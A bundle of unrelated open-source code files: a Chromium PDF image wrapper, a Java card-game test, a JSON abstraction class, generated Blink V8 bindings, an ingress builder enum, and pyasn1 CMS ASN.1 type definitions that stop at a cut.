<reponame>zealoussnow/chromium // Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "pdf/ppapi_migration/image.h" #include "ppapi/cpp/image_data.h" #include "third_party/abseil-cpp/absl/types/variant.h" #include "third_party/skia/include/core/SkBitmap.h" namespace chrome_pdf { Image::Image(const pp::ImageData& pepper_image) : image_(pepper_image) {} Image::Image(const SkBitmap& skia_image) : image_(skia_image) {} Image::Image(const Image& other) = default; Image& Image::operator=(const Image& other) = default; Image::~Image() = default; } // namespace chrome_pdf
239
1,444
package org.mage.test.cards.single.m21; import mage.constants.PhaseStep; import mage.constants.Zone; import org.junit.Test; import org.mage.test.serverside.base.CardTestPlayerBase; public class ChandrasIncineratorTest extends CardTestPlayerBase { @Test public void testCostReduction(){ // {5}{R} // This spell costs {X} less to cast, // where X is the total amount of noncombat damage dealt to your opponents this turn. addCard(Zone.HAND, playerA, "Chandra's Incinerator"); // deal 3 damage to any target addCard(Zone.HAND, playerA, "Lightning Bolt"); addCard(Zone.BATTLEFIELD, playerA, "Mountain", 6); castSpell(1, PhaseStep.PRECOMBAT_MAIN, playerA, "Lightning Bolt", playerB); castSpell(1, PhaseStep.PRECOMBAT_MAIN, playerA, "Chandra's Incinerator"); setStopAt(1, PhaseStep.POSTCOMBAT_MAIN); setStrictChooseMode(true); execute(); assertAllCommandsUsed(); // {R} lightning bolt + {2}{R} Chandra's Incinerator assertTappedCount("Mountain", true, 4); } }
431
3,194
/** * Copyright (c) 2011-2021, <NAME> 詹波 (<EMAIL>). * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.jfinal.json; import java.util.Objects; /** * json string 与 object 互转抽象 */ public abstract class Json { private static IJsonFactory defaultJsonFactory = new JFinalJsonFactory(); /** * 当对象级的 datePattern 为 null 时使用 defaultDatePattern * jfinal 2.1 版本暂定 defaultDatePattern 值为 null,即 jackson、fastjson * 默认使用自己的 date 转换策略 */ private static String defaultDatePattern = "yyyy-MM-dd HH:mm:ss"; // null; /** * Json 继承类优先使用对象级的属性 datePattern, 然后才是全局性的 defaultDatePattern */ protected String datePattern = null; static void setDefaultJsonFactory(IJsonFactory defaultJsonFactory) { Objects.requireNonNull(defaultJsonFactory, "defaultJsonFactory can not be null"); Json.defaultJsonFactory = defaultJsonFactory; } static void setDefaultDatePattern(String defaultDatePattern) { Json.defaultDatePattern = defaultDatePattern; } public Json setDatePattern(String datePattern) { this.datePattern = datePattern; return this; } public String getDatePattern() { return datePattern; } public String getDefaultDatePattern() { return defaultDatePattern; } public static Json getJson() { return defaultJsonFactory.getJson(); } public abstract String toJson(Object object); public abstract <T> T parse(String jsonString, Class<T> type); }
772
2,151
<gh_stars>1000+ // Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // This file has been auto-generated from the Jinja2 template // third_party/blink/renderer/bindings/templates/interface.cpp.tmpl // by the script code_generator_v8.py. // DO NOT MODIFY! // clang-format off #include "third_party/blink/renderer/bindings/tests/results/core/v8_test_interface_event_init_constructor.h" #include "base/memory/scoped_refptr.h" #include "third_party/blink/renderer/bindings/core/v8/exception_state.h" #include "third_party/blink/renderer/bindings/core/v8/idl_types.h" #include "third_party/blink/renderer/bindings/core/v8/native_value_traits_impl.h" #include "third_party/blink/renderer/bindings/core/v8/v8_dom_configuration.h" #include "third_party/blink/renderer/bindings/core/v8/v8_test_interface_event_init.h" #include "third_party/blink/renderer/core/execution_context/execution_context.h" #include "third_party/blink/renderer/core/frame/local_dom_window.h" #include "third_party/blink/renderer/platform/bindings/runtime_call_stats.h" #include "third_party/blink/renderer/platform/bindings/v8_object_constructor.h" #include "third_party/blink/renderer/platform/wtf/get_ptr.h" namespace blink { // Suppress warning: global constructors, because struct WrapperTypeInfo is trivial // and does not depend on another global objects. #if defined(COMPONENT_BUILD) && defined(WIN32) && defined(__clang__) #pragma clang diagnostic push #pragma clang diagnostic ignored "-Wglobal-constructors" #endif const WrapperTypeInfo V8TestInterfaceEventInitConstructor::wrapperTypeInfo = { gin::kEmbedderBlink, V8TestInterfaceEventInitConstructor::domTemplate, nullptr, "TestInterfaceEventInitConstructor", &V8Event::wrapperTypeInfo, WrapperTypeInfo::kWrapperTypeObjectPrototype, WrapperTypeInfo::kObjectClassId, WrapperTypeInfo::kNotInheritFromActiveScriptWrappable, }; #if defined(COMPONENT_BUILD) && defined(WIN32) && defined(__clang__) #pragma clang diagnostic pop #endif // This static member must be declared by DEFINE_WRAPPERTYPEINFO in TestInterfaceEventInitConstructor.h. // For details, see the comment of DEFINE_WRAPPERTYPEINFO in // platform/bindings/ScriptWrappable.h. const WrapperTypeInfo& TestInterfaceEventInitConstructor::wrapper_type_info_ = V8TestInterfaceEventInitConstructor::wrapperTypeInfo; // not [ActiveScriptWrappable] static_assert( !std::is_base_of<ActiveScriptWrappableBase, TestInterfaceEventInitConstructor>::value, "TestInterfaceEventInitConstructor inherits from ActiveScriptWrappable<>, but is not specifying " "[ActiveScriptWrappable] extended attribute in the IDL file. " "Be consistent."); static_assert( std::is_same<decltype(&TestInterfaceEventInitConstructor::HasPendingActivity), decltype(&ScriptWrappable::HasPendingActivity)>::value, "TestInterfaceEventInitConstructor is overriding hasPendingActivity(), but is not specifying " "[ActiveScriptWrappable] extended attribute in the IDL file. " "Be consistent."); namespace TestInterfaceEventInitConstructorV8Internal { static void readonlyStringAttributeAttributeGetter(const v8::FunctionCallbackInfo<v8::Value>& info) { v8::Local<v8::Object> holder = info.Holder(); TestInterfaceEventInitConstructor* impl = V8TestInterfaceEventInitConstructor::ToImpl(holder); V8SetReturnValueString(info, impl->readonlyStringAttribute(), info.GetIsolate()); } static void isTrustedAttributeGetter(const v8::FunctionCallbackInfo<v8::Value>& info) { v8::Local<v8::Object> holder = info.Holder(); TestInterfaceEventInitConstructor* impl = V8TestInterfaceEventInitConstructor::ToImpl(holder); V8SetReturnValueBool(info, impl->isTrusted()); } static void constructor(const v8::FunctionCallbackInfo<v8::Value>& info) { RUNTIME_CALL_TIMER_SCOPE_DISABLED_BY_DEFAULT(info.GetIsolate(), "Blink_TestInterfaceEventInitConstructor_ConstructorCallback"); ExceptionState exceptionState(info.GetIsolate(), ExceptionState::kConstructionContext, "TestInterfaceEventInitConstructor"); if (UNLIKELY(info.Length() < 2)) { exceptionState.ThrowTypeError(ExceptionMessages::NotEnoughArguments(2, info.Length())); return; } V8StringResource<> type; TestInterfaceEventInit testInterfaceEventInit; type = info[0]; if (!type.Prepare()) return; if (!info[1]->IsNullOrUndefined() && !info[1]->IsObject()) { exceptionState.ThrowTypeError("parameter 2 ('testInterfaceEventInit') is not an object."); return; } V8TestInterfaceEventInit::ToImpl(info.GetIsolate(), info[1], testInterfaceEventInit, exceptionState); if (exceptionState.HadException()) return; TestInterfaceEventInitConstructor* impl = TestInterfaceEventInitConstructor::Create(type, testInterfaceEventInit); v8::Local<v8::Object> wrapper = info.Holder(); wrapper = impl->AssociateWithWrapper(info.GetIsolate(), &V8TestInterfaceEventInitConstructor::wrapperTypeInfo, wrapper); V8SetReturnValue(info, wrapper); } } // namespace TestInterfaceEventInitConstructorV8Internal void V8TestInterfaceEventInitConstructor::readonlyStringAttributeAttributeGetterCallback(const v8::FunctionCallbackInfo<v8::Value>& info) { RUNTIME_CALL_TIMER_SCOPE_DISABLED_BY_DEFAULT(info.GetIsolate(), "Blink_TestInterfaceEventInitConstructor_readonlyStringAttribute_Getter"); TestInterfaceEventInitConstructorV8Internal::readonlyStringAttributeAttributeGetter(info); } void V8TestInterfaceEventInitConstructor::isTrustedAttributeGetterCallback(const v8::FunctionCallbackInfo<v8::Value>& info) { RUNTIME_CALL_TIMER_SCOPE_DISABLED_BY_DEFAULT(info.GetIsolate(), "Blink_TestInterfaceEventInitConstructor_isTrusted_Getter"); TestInterfaceEventInitConstructorV8Internal::isTrustedAttributeGetter(info); } static const V8DOMConfiguration::AccessorConfiguration V8TestInterfaceEventInitConstructorAccessors[] = { { "readonlyStringAttribute", V8TestInterfaceEventInitConstructor::readonlyStringAttributeAttributeGetterCallback, nullptr, V8PrivateProperty::kNoCachedAccessor, static_cast<v8::PropertyAttribute>(v8::ReadOnly), V8DOMConfiguration::kOnPrototype, V8DOMConfiguration::kCheckHolder, V8DOMConfiguration::kHasSideEffect, V8DOMConfiguration::kAllWorlds }, { "isTrusted", V8TestInterfaceEventInitConstructor::isTrustedAttributeGetterCallback, nullptr, V8PrivateProperty::kNoCachedAccessor, static_cast<v8::PropertyAttribute>(v8::DontDelete | v8::ReadOnly), V8DOMConfiguration::kOnInstance, V8DOMConfiguration::kCheckHolder, V8DOMConfiguration::kHasSideEffect, V8DOMConfiguration::kAllWorlds }, }; void V8TestInterfaceEventInitConstructor::constructorCallback(const v8::FunctionCallbackInfo<v8::Value>& info) { RUNTIME_CALL_TIMER_SCOPE_DISABLED_BY_DEFAULT(info.GetIsolate(), "Blink_TestInterfaceEventInitConstructor_Constructor"); if (!info.IsConstructCall()) { V8ThrowException::ThrowTypeError(info.GetIsolate(), ExceptionMessages::ConstructorNotCallableAsFunction("TestInterfaceEventInitConstructor")); return; } if (ConstructorMode::Current(info.GetIsolate()) == ConstructorMode::kWrapExistingObject) { V8SetReturnValue(info, info.Holder()); return; } TestInterfaceEventInitConstructorV8Internal::constructor(info); } static void installV8TestInterfaceEventInitConstructorTemplate( v8::Isolate* isolate, const DOMWrapperWorld& world, v8::Local<v8::FunctionTemplate> interfaceTemplate) { // Initialize the interface object's template. V8DOMConfiguration::InitializeDOMInterfaceTemplate(isolate, interfaceTemplate, V8TestInterfaceEventInitConstructor::wrapperTypeInfo.interface_name, V8Event::domTemplate(isolate, world), V8TestInterfaceEventInitConstructor::internalFieldCount); interfaceTemplate->SetCallHandler(V8TestInterfaceEventInitConstructor::constructorCallback); interfaceTemplate->SetLength(2); v8::Local<v8::Signature> signature = v8::Signature::New(isolate, interfaceTemplate); ALLOW_UNUSED_LOCAL(signature); v8::Local<v8::ObjectTemplate> instanceTemplate = interfaceTemplate->InstanceTemplate(); ALLOW_UNUSED_LOCAL(instanceTemplate); v8::Local<v8::ObjectTemplate> prototypeTemplate = interfaceTemplate->PrototypeTemplate(); ALLOW_UNUSED_LOCAL(prototypeTemplate); // Register IDL constants, attributes and operations. V8DOMConfiguration::InstallAccessors( isolate, world, instanceTemplate, prototypeTemplate, interfaceTemplate, signature, V8TestInterfaceEventInitConstructorAccessors, arraysize(V8TestInterfaceEventInitConstructorAccessors)); // Custom signature V8TestInterfaceEventInitConstructor::InstallRuntimeEnabledFeaturesOnTemplate( isolate, world, interfaceTemplate); } void V8TestInterfaceEventInitConstructor::InstallRuntimeEnabledFeaturesOnTemplate( v8::Isolate* isolate, const DOMWrapperWorld& world, v8::Local<v8::FunctionTemplate> interface_template) { v8::Local<v8::Signature> signature = v8::Signature::New(isolate, interface_template); ALLOW_UNUSED_LOCAL(signature); v8::Local<v8::ObjectTemplate> instance_template = interface_template->InstanceTemplate(); ALLOW_UNUSED_LOCAL(instance_template); v8::Local<v8::ObjectTemplate> prototype_template = interface_template->PrototypeTemplate(); ALLOW_UNUSED_LOCAL(prototype_template); // Register IDL constants, attributes and operations. // Custom signature } v8::Local<v8::FunctionTemplate> V8TestInterfaceEventInitConstructor::domTemplate(v8::Isolate* isolate, const DOMWrapperWorld& world) { return V8DOMConfiguration::DomClassTemplate(isolate, world, const_cast<WrapperTypeInfo*>(&wrapperTypeInfo), installV8TestInterfaceEventInitConstructorTemplate); } bool V8TestInterfaceEventInitConstructor::hasInstance(v8::Local<v8::Value> v8Value, v8::Isolate* isolate) { return V8PerIsolateData::From(isolate)->HasInstance(&wrapperTypeInfo, v8Value); } v8::Local<v8::Object> V8TestInterfaceEventInitConstructor::findInstanceInPrototypeChain(v8::Local<v8::Value> v8Value, v8::Isolate* isolate) { return V8PerIsolateData::From(isolate)->FindInstanceInPrototypeChain(&wrapperTypeInfo, v8Value); } TestInterfaceEventInitConstructor* V8TestInterfaceEventInitConstructor::ToImplWithTypeCheck(v8::Isolate* isolate, v8::Local<v8::Value> value) { return hasInstance(value, isolate) ? ToImpl(v8::Local<v8::Object>::Cast(value)) : nullptr; } TestInterfaceEventInitConstructor* NativeValueTraits<TestInterfaceEventInitConstructor>::NativeValue(v8::Isolate* isolate, v8::Local<v8::Value> value, ExceptionState& exceptionState) { TestInterfaceEventInitConstructor* nativeValue = V8TestInterfaceEventInitConstructor::ToImplWithTypeCheck(isolate, value); if (!nativeValue) { exceptionState.ThrowTypeError(ExceptionMessages::FailedToConvertJSValue( "TestInterfaceEventInitConstructor")); } return nativeValue; } } // namespace blink
3,391
458
<filename>manifest-generator/generator-services/src/main/java/io/hyscale/generator/services/model/IngressBuilderProvider.java /** * Copyright 2019 <NAME>, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package io.hyscale.generator.services.model; import io.hyscale.commons.utils.HyscaleContextUtil; import io.hyscale.generator.services.builder.IngressMetaDataBuilder; import io.hyscale.generator.services.builder.NginxMetaDataBuilder; import io.hyscale.generator.services.builder.TraefikMetaDataBuilder; import org.apache.commons.lang3.StringUtils; /** * This class provides the appropriate Ingress Manifests Builder based on the provider mentioned in hspec. */ public enum IngressBuilderProvider { NGINX("nginx"){ @Override public IngressMetaDataBuilder getMetadataBuilder() { return HyscaleContextUtil.getSpringBean(NginxMetaDataBuilder.class); } }, TRAEFIK("traefik") { @Override public IngressMetaDataBuilder getMetadataBuilder() { return HyscaleContextUtil.getSpringBean(TraefikMetaDataBuilder.class); } }; private String provider; IngressBuilderProvider(String provider){ this.provider = provider; } public String getProvider(){ return this.provider; } public static IngressBuilderProvider fromString(String provider) { if (StringUtils.isBlank(provider)) { return null; } for (IngressBuilderProvider ingressBuilderProvider : IngressBuilderProvider.values()) { if(ingressBuilderProvider.getProvider().equalsIgnoreCase(provider)){ return ingressBuilderProvider; } } return null; } public abstract IngressMetaDataBuilder getMetadataBuilder(); }
784
1,894
# coding: utf-8 # # This file is part of pyasn1-modules software. # # Created by <NAME> with asn1ate tool. # Copyright (c) 2005-2019, <NAME> <<EMAIL>> # License: http://snmplabs.com/pyasn1/license.html # # Cryptographic Message Syntax (CMS) # # ASN.1 source from: # http://www.ietf.org/rfc/rfc3852.txt # from pyasn1.type import constraint from pyasn1.type import namedtype from pyasn1.type import namedval from pyasn1.type import tag from pyasn1.type import univ from pyasn1.type import useful from pyasn1_modules import rfc3280 from pyasn1_modules import rfc3281 MAX = float('inf') def _buildOid(*components): output = [] for x in tuple(components): if isinstance(x, univ.ObjectIdentifier): output.extend(list(x)) else: output.append(int(x)) return univ.ObjectIdentifier(output) class AttributeValue(univ.Any): pass class Attribute(univ.Sequence): pass Attribute.componentType = namedtype.NamedTypes( namedtype.NamedType('attrType', univ.ObjectIdentifier()), namedtype.NamedType('attrValues', univ.SetOf(componentType=AttributeValue())) ) class SignedAttributes(univ.SetOf): pass SignedAttributes.componentType = Attribute() SignedAttributes.subtypeSpec = constraint.ValueSizeConstraint(1, MAX) class OtherRevocationInfoFormat(univ.Sequence): pass OtherRevocationInfoFormat.componentType = namedtype.NamedTypes( namedtype.NamedType('otherRevInfoFormat', univ.ObjectIdentifier()), namedtype.NamedType('otherRevInfo', univ.Any()) ) class RevocationInfoChoice(univ.Choice): pass RevocationInfoChoice.componentType = namedtype.NamedTypes( namedtype.NamedType('crl', rfc3280.CertificateList()), namedtype.NamedType('other', OtherRevocationInfoFormat().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 1))) ) class RevocationInfoChoices(univ.SetOf): pass RevocationInfoChoices.componentType = RevocationInfoChoice() class OtherKeyAttribute(univ.Sequence): pass OtherKeyAttribute.componentType = namedtype.NamedTypes( namedtype.NamedType('keyAttrId', univ.ObjectIdentifier()), namedtype.OptionalNamedType('keyAttr', univ.Any()) ) id_signedData = _buildOid(1, 2, 840, 113549, 1, 7, 2) class KeyEncryptionAlgorithmIdentifier(rfc3280.AlgorithmIdentifier): pass class EncryptedKey(univ.OctetString): pass class CMSVersion(univ.Integer): pass CMSVersion.namedValues = namedval.NamedValues( ('v0', 0), ('v1', 1), ('v2', 2), ('v3', 3), ('v4', 4), ('v5', 5) ) class KEKIdentifier(univ.Sequence): pass KEKIdentifier.componentType = namedtype.NamedTypes( namedtype.NamedType('keyIdentifier', univ.OctetString()), namedtype.OptionalNamedType('date', useful.GeneralizedTime()), namedtype.OptionalNamedType('other', OtherKeyAttribute()) ) class KEKRecipientInfo(univ.Sequence): pass KEKRecipientInfo.componentType = namedtype.NamedTypes( namedtype.NamedType('version', CMSVersion()), namedtype.NamedType('kekid', KEKIdentifier()), namedtype.NamedType('keyEncryptionAlgorithm', KeyEncryptionAlgorithmIdentifier()), namedtype.NamedType('encryptedKey', EncryptedKey()) ) class KeyDerivationAlgorithmIdentifier(rfc3280.AlgorithmIdentifier): pass class PasswordRecipientInfo(univ.Sequence): pass PasswordRecipientInfo.componentType = namedtype.NamedTypes( namedtype.NamedType('version', CMSVersion()), namedtype.OptionalNamedType('keyDerivationAlgorithm', KeyDerivationAlgorithmIdentifier().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))), namedtype.NamedType('keyEncryptionAlgorithm', KeyEncryptionAlgorithmIdentifier()), namedtype.NamedType('encryptedKey', EncryptedKey()) ) class OtherRecipientInfo(univ.Sequence): pass OtherRecipientInfo.componentType = namedtype.NamedTypes( namedtype.NamedType('oriType', univ.ObjectIdentifier()), namedtype.NamedType('oriValue', univ.Any()) ) class IssuerAndSerialNumber(univ.Sequence): pass IssuerAndSerialNumber.componentType = namedtype.NamedTypes( namedtype.NamedType('issuer', rfc3280.Name()), namedtype.NamedType('serialNumber', rfc3280.CertificateSerialNumber()) ) class SubjectKeyIdentifier(univ.OctetString): pass class RecipientKeyIdentifier(univ.Sequence): pass RecipientKeyIdentifier.componentType = namedtype.NamedTypes( namedtype.NamedType('subjectKeyIdentifier', SubjectKeyIdentifier()), namedtype.OptionalNamedType('date', useful.GeneralizedTime()), namedtype.OptionalNamedType('other', OtherKeyAttribute()) ) class KeyAgreeRecipientIdentifier(univ.Choice): pass KeyAgreeRecipientIdentifier.componentType = namedtype.NamedTypes( namedtype.NamedType('issuerAndSerialNumber', IssuerAndSerialNumber()), namedtype.NamedType('rKeyId', RecipientKeyIdentifier().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0))) ) class RecipientEncryptedKey(univ.Sequence): pass RecipientEncryptedKey.componentType = namedtype.NamedTypes( namedtype.NamedType('rid', KeyAgreeRecipientIdentifier()), namedtype.NamedType('encryptedKey', EncryptedKey()) ) class RecipientEncryptedKeys(univ.SequenceOf): pass RecipientEncryptedKeys.componentType = RecipientEncryptedKey() class UserKeyingMaterial(univ.OctetString): pass class OriginatorPublicKey(univ.Sequence): pass OriginatorPublicKey.componentType = namedtype.NamedTypes( namedtype.NamedType('algorithm', rfc3280.AlgorithmIdentifier()), namedtype.NamedType('publicKey', univ.BitString()) ) class OriginatorIdentifierOrKey(univ.Choice): pass OriginatorIdentifierOrKey.componentType = namedtype.NamedTypes( namedtype.NamedType('issuerAndSerialNumber', IssuerAndSerialNumber()), namedtype.NamedType('subjectKeyIdentifier', SubjectKeyIdentifier().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))), namedtype.NamedType('originatorKey', OriginatorPublicKey().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 1))) ) class KeyAgreeRecipientInfo(univ.Sequence): pass KeyAgreeRecipientInfo.componentType = namedtype.NamedTypes( namedtype.NamedType('version', CMSVersion()), namedtype.NamedType('originator', OriginatorIdentifierOrKey().subtype( explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0))), namedtype.OptionalNamedType('ukm', UserKeyingMaterial().subtype( explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))), namedtype.NamedType('keyEncryptionAlgorithm', KeyEncryptionAlgorithmIdentifier()), namedtype.NamedType('recipientEncryptedKeys', RecipientEncryptedKeys()) ) class RecipientIdentifier(univ.Choice): pass RecipientIdentifier.componentType = namedtype.NamedTypes( namedtype.NamedType('issuerAndSerialNumber', IssuerAndSerialNumber()), namedtype.NamedType('subjectKeyIdentifier', SubjectKeyIdentifier().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))) ) class KeyTransRecipientInfo(univ.Sequence): pass KeyTransRecipientInfo.componentType = namedtype.NamedTypes( namedtype.NamedType('version', CMSVersion()), namedtype.NamedType('rid', RecipientIdentifier()), namedtype.NamedType('keyEncryptionAlgorithm', KeyEncryptionAlgorithmIdentifier()), namedtype.NamedType('encryptedKey', EncryptedKey()) ) class RecipientInfo(univ.Choice): pass RecipientInfo.componentType = namedtype.NamedTypes( namedtype.NamedType('ktri', KeyTransRecipientInfo()), namedtype.NamedType('kari', KeyAgreeRecipientInfo().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 1))), namedtype.NamedType('kekri', KEKRecipientInfo().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 2))), namedtype.NamedType('pwri', PasswordRecipientInfo().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 3))), namedtype.NamedType('ori', OtherRecipientInfo().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 4))) ) class RecipientInfos(univ.SetOf): pass RecipientInfos.componentType = RecipientInfo() RecipientInfos.subtypeSpec = constraint.ValueSizeConstraint(1, MAX) class DigestAlgorithmIdentifier(rfc3280.AlgorithmIdentifier): pass class Signature(univ.BitString): pass class SignerIdentifier(univ.Choice): pass SignerIdentifier.componentType = namedtype.NamedTypes( namedtype.NamedType('issuerAndSerialNumber', IssuerAndSerialNumber()), namedtype.NamedType('subjectKeyIdentifier', SubjectKeyIdentifier().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))) ) class UnprotectedAttributes(univ.SetOf): pass UnprotectedAttributes.componentType = Attribute() UnprotectedAttributes.subtypeSpec = constraint.ValueSizeConstraint(1, MAX) class ContentType(univ.ObjectIdentifier): pass class EncryptedContent(univ.OctetString): pass class ContentEncryptionAlgorithmIdentifier(rfc3280.AlgorithmIdentifier): pass class EncryptedContentInfo(univ.Sequence): pass EncryptedContentInfo.componentType = namedtype.NamedTypes( namedtype.NamedType('contentType', ContentType()), namedtype.NamedType('contentEncryptionAlgorithm', ContentEncryptionAlgorithmIdentifier()), namedtype.OptionalNamedType('encryptedContent', EncryptedContent().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))) ) class EncryptedData(univ.Sequence): pass EncryptedData.componentType = namedtype.NamedTypes( namedtype.NamedType('version', CMSVersion()), namedtype.NamedType('encryptedContentInfo', EncryptedContentInfo()), namedtype.OptionalNamedType('unprotectedAttrs', UnprotectedAttributes().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))) ) id_contentType = _buildOid(1, 2, 840, 113549, 1, 9, 3) id_data = _buildOid(1, 2, 840, 113549, 1, 7, 1) id_messageDigest = _buildOid(1, 2, 840, 113549, 1, 9, 4) class DigestAlgorithmIdentifiers(univ.SetOf): pass DigestAlgorithmIdentifiers.componentType = DigestAlgorithmIdentifier() class EncapsulatedContentInfo(univ.Sequence): pass EncapsulatedContentInfo.componentType = namedtype.NamedTypes( namedtype.NamedType('eContentType', ContentType()), namedtype.OptionalNamedType('eContent', univ.OctetString().subtype( explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))) ) class Digest(univ.OctetString): pass class DigestedData(univ.Sequence): pass DigestedData.componentType = namedtype.NamedTypes( namedtype.NamedType('version', CMSVersion()), namedtype.NamedType('digestAlgorithm', DigestAlgorithmIdentifier()), namedtype.NamedType('encapContentInfo', EncapsulatedContentInfo()), namedtype.NamedType('digest', Digest()) ) class ContentInfo(univ.Sequence): pass ContentInfo.componentType = namedtype.NamedTypes( namedtype.NamedType('contentType', ContentType()), namedtype.NamedType('content', univ.Any().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))) ) class UnauthAttributes(univ.SetOf): pass UnauthAttributes.componentType = Attribute() UnauthAttributes.subtypeSpec = constraint.ValueSizeConstraint(1, MAX) class ExtendedCertificateInfo(univ.Sequence): pass ExtendedCertificateInfo.componentType = namedtype.NamedTypes( namedtype.NamedType('version', CMSVersion()), namedtype.NamedType('certificate', rfc3280.Certificate()), namedtype.NamedType('attributes', UnauthAttributes()) ) class SignatureAlgorithmIdentifier(rfc3280.AlgorithmIdentifier): pass class ExtendedCertificate(univ.Sequence): pass ExtendedCertificate.componentType = namedtype.NamedTypes( namedtype.NamedType('extendedCertificateInfo', ExtendedCertificateInfo()), namedtype.NamedType('signatureAlgorithm', SignatureAlgorithmIdentifier()), namedtype.NamedType('signature', Signature()) ) class OtherCertificateFormat(univ.Sequence): pass OtherCertificateFormat.componentType = namedtype.NamedTypes( namedtype.NamedType('otherCertFormat', univ.ObjectIdentifier()), namedtype.NamedType('otherCert', univ.Any()) ) class AttributeCertificateV2(rfc3281.AttributeCertificate): pass class AttCertVersionV1(univ.Integer): pass AttCertVersionV1.namedValues = namedval.NamedValues( ('v1', 0) ) class AttributeCertificateInfoV1(univ.Sequence): pass AttributeCertificateInfoV1.componentType = namedtype.NamedTypes( namedtype.DefaultedNamedType('version', AttCertVersionV1().subtype(value="v1")), namedtype.NamedType( 'subject', univ.Choice( componentType=namedtype.NamedTypes( namedtype.NamedType('baseCertificateID', rfc3281.IssuerSerial().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))), namedtype.NamedType('subjectName', rfc3280.GeneralNames().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))) ) ) ), namedtype.NamedType('issuer', rfc3280.GeneralNames()), namedtype.NamedType('signature', rfc3280.AlgorithmIdentifier()), namedtype.NamedType('serialNumber', rfc3280.CertificateSerialNumber()), namedtype.NamedType('attCertValidityPeriod', rfc3281.AttCertValidityPeriod()), namedtype.NamedType('attributes', univ.SequenceOf(componentType=rfc3280.Attribute())), namedtype.OptionalNamedType('issuerUniqueID', rfc3280.UniqueIdentifier()), namedtype.OptionalNamedType('extensions', rfc3280.Extensions()) ) class AttributeCertificateV1(univ.Sequence): pass AttributeCertificateV1.componentType = namedtype.NamedTypes( namedtype.NamedType('acInfo', AttributeCertificateInfoV1()), namedtype.NamedType('signatureAlgorithm', rfc3280.AlgorithmIdentifier()), namedtype.NamedType('signature', univ.BitString()) ) class CertificateChoices(univ.Choice): pass CertificateChoices.componentType = namedtype.NamedTypes( namedtype.NamedType('certificate', rfc3280.Certificate()), namedtype.NamedType('extendedCertificate', ExtendedCertificate().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0))), namedtype.NamedType('v1AttrCert', AttributeCertificateV1().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))), namedtype.NamedType('v2AttrCert', AttributeCertificateV2().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 2))), namedtype.NamedType('other', OtherCertificateFormat().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 3))) ) class CertificateSet(univ.SetOf): pass CertificateSet.componentType = CertificateChoices() class MessageAuthenticationCode(univ.OctetString): pass class UnsignedAttributes(univ.SetOf): pass UnsignedAttributes.componentType = Attribute() UnsignedAttributes.subtypeSpec = constraint.ValueSizeConstraint(1, MAX) class SignatureValue(univ.OctetString): pass class SignerInfo(univ.Sequence): pass SignerInfo.componentType = namedtype.NamedTypes( namedtype.NamedType('version', CMSVersion()), namedtype.NamedType('sid', SignerIdentifier()), namedtype.NamedType('digestAlgorithm', DigestAlgorithmIdentifier()), namedtype.OptionalNamedType('signedAttrs', SignedAttributes().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))), namedtype.NamedType('signatureAlgorithm', SignatureAlgorithmIdentifier()), namedtype.NamedType('signature', SignatureValue()), namedtype.OptionalNamedType('unsignedAttrs', UnsignedAttributes().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))) ) class SignerInfos(univ.SetOf): pass SignerInfos.componentType = SignerInfo() class SignedData(univ.Sequence): pass SignedData.componentType = namedtype.NamedTypes( namedtype.NamedType('version', CMSVersion()), namedtype.NamedType('digestAlgorithms', DigestAlgorithmIdentifiers()), namedtype.NamedType('encapContentInfo', EncapsulatedContentInfo()), namedtype.OptionalNamedType('certificates', CertificateSet().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))), namedtype.OptionalNamedType('crls', RevocationInfoChoices().subtype( implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 1))), namedtype.NamedType('signerInfos', SignerInfos()) ) class 